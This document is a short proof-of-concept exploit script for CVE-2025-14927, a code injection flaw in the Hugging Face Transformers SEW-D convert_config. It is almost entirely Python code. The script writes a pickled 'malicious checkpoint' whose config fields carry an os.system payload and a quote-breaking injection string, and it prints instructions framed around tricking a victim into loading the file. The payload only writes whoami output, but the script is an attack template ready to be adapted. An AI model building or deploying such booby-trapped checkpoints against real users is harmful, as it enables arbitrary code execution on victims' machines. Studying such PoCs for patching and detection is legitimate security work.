CVE-2025-14927: Hugging Face Transformers SEW-D convert_config 代码注入漏洞

# CVE-2025-14927 PoC - Malicious checkpoint for SEW-D convert_config # This PoC demonstrates the code injection vulnerability in Hugging Face Transformers import torch import pickle import os def create_malicious_checkpoint(): """ Create a malicious checkpoint that exploits the convert_config vulnerability. The malicious code will be executed when convert_config processes the checkpoint. """ # Malicious payload - this will be executed in the context of the current user malicious_code = "__import__('os').system('whoami > /tmp/pwned.txt')" # Create a malicious config with injected code # The vulnerability is in convert_config which doesn't validate user-supplied strings malicious_config = { 'model_type': 'sew-d', 'hidden_size': 768, 'num_attention_heads': 12, # Inject malicious code through config parameter 'checkpoint_path': f"'; {malicious_code}; #", 'injected_payload': malicious_code, } # Save as malicious checkpoint file checkpoint_data = { 'state_dict': torch.zeros((10, 10)), 'config': malicious_config, 'sew_d_config': malicious_config } with open('malicious_sew_d_checkpoint.pt', 'wb') as f: pickle.dump(checkpoint_data, f) print("[+] Malicious checkpoint created: malicious_sew_d_checkpoint.pt") return 'malicious_sew_d_checkpoint.pt' def exploit(): """ Simulate the exploitation process. In real attack, victim would call: from transformers import SEWDConfig config = SEWDConfig.from_pretrained('malicious_checkpoint') """ checkpoint_file = create_malicious_checkpoint() print(f"[+] Attacker can trick victim into loading: {checkpoint_file}") print("[+] When victim calls convert_config, injected code executes") print("[+] Code execution occurs in context of victim's user") if __name__ == '__main__': exploit()